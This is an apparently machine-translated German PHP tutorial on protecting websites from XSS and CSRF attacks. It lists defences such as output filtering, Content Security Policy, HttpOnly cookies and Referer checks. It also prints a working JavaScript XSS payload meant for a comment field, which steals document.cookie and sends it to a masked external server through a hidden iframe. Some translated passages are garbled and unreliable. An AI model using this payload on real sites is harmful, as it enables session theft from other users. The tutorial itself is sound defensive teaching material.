Heim >Backend-Entwicklung >PHP-Tutorial >So schützen Sie sich vor XSS- und CSRF-Angriffen
XSS: Cross-Site-Scripting (oft als XSS bezeichnet) ist ein Sicherheitslückenangriff auf Website-Anwendungen und eine Art Code-Injection. Es ermöglicht einem böswilligen Benutzer, Code in eine Webseite einzuschleusen, der andere Benutzer beim Betrachten der Webseite beeinträchtigt. Bei dieser Art von Angriff handelt es sich in der Regel um HTML und benutzerseitige Skriptsprachen.
CSRF: Cross-Site Request Forgery (englisch: Cross-Site Request Forgery), auch bekannt als One-Click-Angriff oder Session Riding, meist abgekürzt als CSRF oder XSRF, ist eine Art Erpressung, der sich Benutzer derzeit ausgesetzt sehen angemeldet. Eine Angriffsmethode, die unbeabsichtigte Vorgänge an einer Webanwendung ausführt.
Ein einfaches Verständnis ist:
XSS: Durch clientseitige Skriptsprache (die gebräuchlichste wie zum Beispiel: JavaScript)
Das Veröffentlichen eines bösartigen JavaScript-Codes in einem Forumsbeitrag ist ein Skript Wenn dieser Codeinhalt von einem externen Server angefordert wird, wird er als XSS bezeichnet!
CSRF: Auch als XSRF bekannt, gibt es vor, ein Benutzer zu sein, initiiert eine Anfrage (ohne Wissen des Benutzers) und führt einige Anfragen gegen den Willen des Benutzers aus (z. B. böswillige Beiträge, Löschen von Beiträgen, Ändern von Passwörtern, Senden). E-Mails usw.).
// 用 <script type="text/javascript"></script> 包起来放在评论中 (function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://********"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document);
Zentrale Idee: Alle Daten aus externen Quellen müssen durch unseren Servercode gefiltert werden, bevor sie angezeigt werden können Die Seite Mit anderen Worten: Alle externen Daten sind illegal und müssen gefiltert werden.
1. Versuchen Sie, innerText (IE) und textContent (Firefox) zu verwenden, d. h. text() von jQuery, um Textinhalte auszugeben
2. Wenn Sie innerHTML und andere Funktionen verwenden müssen, müssen Sie dies tun etwas Ähnliches wie PHP-Filterung von HTML-Spezialzeichen
3. Fügen Sie bei der Ausgabe von HTML den HTTP-Header der Inhaltssicherheitsrichtlinie hinzu
(Funktion: Es kann verhindern, dass die Seite durch XSS angegriffen wird und Skriptdateien von Drittanbietern eingebettet werden usw.)
( Fehler: IE oder Browser niedrigerer Versionen unterstützen dies möglicherweise nicht)
4. Fügen Sie beim Setzen von Cookies den HttpOnly-Parameter hinzu
(Funktion: Er kann verhindern, dass die Cookie-Informationen gestohlen werden, wenn die Die Seite wird von XSS angegriffen. Sie ist mit IE6 kompatibel Überprüfen Sie in der API den Referer-Parameter der Anfrage
(Funktion: Kann CSRF-Angriffe bis zu einem gewissen Grad verhindern)
(Fehler: Im IE oder in Browsern niedrigerer Versionen kann der Referer-Parameter gefälscht werden)
Verwandte Empfehlungen:
Das obige ist der detaillierte Inhalt vonSo schützen Sie sich vor XSS- und CSRF-Angriffen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!